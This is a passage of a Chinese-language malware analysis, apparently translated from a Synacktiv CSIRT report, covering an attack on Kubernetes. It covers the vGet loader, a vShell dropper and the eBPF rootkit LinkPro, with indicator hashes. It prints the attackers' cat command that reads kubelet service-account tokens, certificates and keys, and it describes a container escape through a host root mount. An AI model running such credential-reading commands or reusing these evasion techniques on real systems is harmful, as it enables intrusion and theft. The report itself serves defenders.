。因此,这两个程序之间很可能存在关联,</span><strong><span leaf="">vGet</span></strong><span leaf="">也很可能是专门为在内存中直接执行 </span><strong><span leaf="">vShell</span></strong><span leaf="">而开发的,以避免在磁盘上留下痕迹。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012291" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bde1130d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiamfjLiavHJ6EqWRFfY4QatnyZdDiaYzfmE6rfV4iagtPxT0gXDib3cxwBXoiaMgbFt0tFQ6N2cRTG4s035B5VKfZBOLmVRIfRic8sLQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">从 </span></figcaption><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/dev/null</span></code><span leaf="">到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/tmp/.del</span></code><span leaf="">的符号链接</span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">所恢复的 </span><strong><span leaf="">vGet</span></strong><span leaf="">样本符号信息很少,仅在 Rust 依赖的绝对路径中出现了对用户名 </span><strong><span leaf="">cosmanking</span></strong><span leaf="">的引用,例如:</span></em></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><em style="margin-top: 0px;margin-bottom: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/Users/cosmanking/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ureq-2.12.1/src/request.rs.</span></code></em></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">至于该 docker 镜像,其配置了如下的挂载点:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">挂载点: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/mnt</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">源 ( 宿主机 ) : </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">目的 ( 容器内 ) : </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/mnt</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">访问权限: 读和写</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">类型: bind</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这种配置使攻击者得以从容器 ( 正在运行的镜像 ) 上下文中逃逸,并以 </span><strong><span leaf="">root</span></strong><span leaf="">权限访问根分区上的整个文件系统。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kvlnt/vv</span></code><span leaf="">pod 内的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/app/app</span></code><span leaf="">( </span><strong><span leaf="">vGet</span></strong><span leaf="">) 进程,攻击者执行了一条 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cat</span></code><span leaf="">命令,以期获取宿主机以及其他 pod 中可用的凭据 ( 认证 token、API key、证书等 ) 。下面是该命令的简短摘录:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">cat \</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">var</span></span><span leaf="">/lib/kubelet/pods/[..</span><span style="color: rgb(36, 41, 46);"><span leaf="">POD</span></span><span leaf=""> UUID..]/volumes/kubernetes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">io</span></span><span leaf="">~csi/pvc-[UUID]/mount \</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">var</span></span><span leaf="">/lib/kubelet/pods/[..</span><span style="color: rgb(36, 41, 46);"><span leaf="">POD</span></span><span leaf=""> UUID..]/volumes/kubernetes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">io</span></span><span leaf="">~csi/pvc-[UUID]/vol_data.</span><span style="color: rgb(36, 41, 46);"><span leaf="">json</span></span><span leaf=""> \</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">var</span></span><span leaf="">/lib/kubelet/pods/[..</span><span style="color: rgb(36, 41, 46);"><span leaf="">POD</span></span><span leaf=""> UUID..]/volumes/kubernetes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">io</span></span><span leaf="">~projected/kube-api-access-[ID]/ca.</span><span style="color: rgb(36, 41, 46);"><span leaf="">crt</span></span><span leaf=""> \</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">var</span></span><span leaf="">/lib/kubelet/pods/[..</span><span style="color: rgb(36, 41, 46);"><span leaf="">POD</span></span><span leaf=""> UUID..]/volumes/kubernetes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">io</span></span><span leaf="">~projected/kube-api-access-[ID]/namespace \</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">var</span></span><span leaf="">/lib/kubelet/pods/[..</span><span style="color: rgb(36, 41, 46);"><span leaf="">POD</span></span><span leaf=""> UUID..]/volumes/kubernetes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">io</span></span><span leaf="">~projected/kube-api-access-hfsns/token \</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">var</span></span><span leaf="">/lib/kubelet/pods/[..</span><span style="color: rgb(36, 41, 46);"><span leaf="">POD</span></span><span leaf=""> UUID..]/volumes/kubernetes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">io</span></span><span leaf="">~secret/webhook-cert/ca \</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">var</span></span><span leaf="">/lib/kubelet/pods/[..</span><span style="color: rgb(36, 41, 46);"><span leaf="">POD</span></span><span leaf=""> UUID..]/volumes/kubernetes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">io</span></span><span leaf="">~secret/webhook-cert/cert \</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">var</span></span><span leaf="">/lib/kubelet/pods/[..</span><span style="color: rgb(36, 41, 46);"><span leaf="">POD</span></span><span leaf=""> UUID..]/volumes/kubernetes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">io</span></span><span leaf="">~secret/webhook-cert/key</span><br/><span leaf="">[..</span><span style="color: rgb(36, 41, 46);"><span leaf="">ETC</span></span><span leaf="">..]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在该 docker 镜像被部署数周之后,我们在多个 Kubernetes 节点以及生产服务器上观察到了 </span><strong><span leaf="">另外两款恶意软件</span></strong><span leaf="">的执行。后者尤其因 </span><strong><span leaf="">经济目的</span></strong><span leaf="">而成为攻击团伙的重点目标。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第一段恶意代码是一个 </span><strong><span leaf="">dropper</span></strong><span leaf="">,它内嵌了另一份在内存中执行的 </span><strong><span leaf="">vShell</span></strong><span leaf="">后门 ( v4.9.3 ) ,这一次通过 </span><strong><span leaf="">DNS 隧道</span></strong><span leaf="">进行通信。该 </span><em><span leaf="">dropper</span></em><span leaf="">与 SNOWLIGHT11 并不相似 ( SNOWLIGHT 此前在一些公开材料中被观察到用于投放 </span><strong><span leaf="">vShell</span></strong><span leaf="">) ,但目的相同。其解密过程分为两步。下面是 Synacktiv CSIRT 所分析样本的一段摘录:</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012292" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=fce7aa76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgspstGB6xgU0TUIvib93g6brfYWS9ibGicXsgKnTtrJzk3gbt9ricj3Ewxc65o5vdU3NNLauJSgTbaXfUzVcG2pqOdj1vhQcxCjSQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">Decrypt shellcode</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第 1 步: 第一段 shellcode 解密后被直接执行</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012294" data-ratio="0.30691056910569103" data-s="300,640" type="block" data-type="png" data-w="492" src="https://wechat2rss.xlab.app/img-proxy/?k=bf9ba6ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiag0n1UAv0NDZ1iaTibibgHEWwvnSPPR9LJOKp55DibPwzIx1C98iceT4CZspqFDQZmr4deribthfia8RuSpNPLALlADOcAaSNWs3qB70%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">Shellcode self decrypt</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第 2 步: 这段 shellcode 解密并把内嵌的 ELF </span><strong><span leaf="">vShell</span></strong><span leaf="">后门加载到自身内存中</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后的载荷此前并无公开记录,Synacktiv CSIRT 将其命名为 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">。它是一款利用 eBPF 技术的后门,凭借其隐蔽性、持久化能力以及内网横向跳板能力,可以被称为一款 rootkit。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">LinkPro Rootkit</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">LinkPro</span></strong><span leaf="">针对 GNU/Linux 系统,由 Golang 开发。Synacktiv CSIRT 之所以将其命名为 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">,是参照其主模块所定义的符号: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">github.com/link-pro/link-client</span></code><span leaf="">。GitHub 账号 link-pro 既无公开仓库,也无任何贡献。</span><strong><span leaf="">LinkPro</span></strong><span leaf="">利用 eBPF 技术,只在收到&#34;魔法数据包&#34;时才会被激活,并借此在受害系统上隐藏自身。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">| SHA256 | </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b</span></code><span leaf="">( 被动后门 )</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964</span></code><p><span leaf="">( 主动后门 )</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件类型</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ELF 64-bit LSB executable, x86-64, executable/linux/elf64</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件大小</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">8710464 bytes</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">威胁</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Linux Rootkit</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">观察到的文件名</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.ok</span></code><p><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.pro</span></code><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.resolveld</span></code></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">LinkPro</span></strong><span leaf="">内嵌了四个 ELF 模块: 一个共享库、一个内核模块以及两个 eBPF 模块:</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012295" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=38136f0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjKz9r6upU0gQcGe0o8vqwAL3SfgibbBO5PFFick09B9iakzfWlfPmE6XWibEfseZLnxGAUTribrMppsgcUYXPsibGEkgLykR1WUMPSc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">内嵌的 ELF 程序 ( Malcat 视图 )</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下面将逐一介绍这些 ELF 模块。不过,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">从未使用过其中的内核模块 ( 程序中并未实现加载该模块的函数 ) 。</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">SHA256</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">类型</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">大小</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Shared object</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">14.2 KiB</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Kernel object</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">573.0 KiB</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span 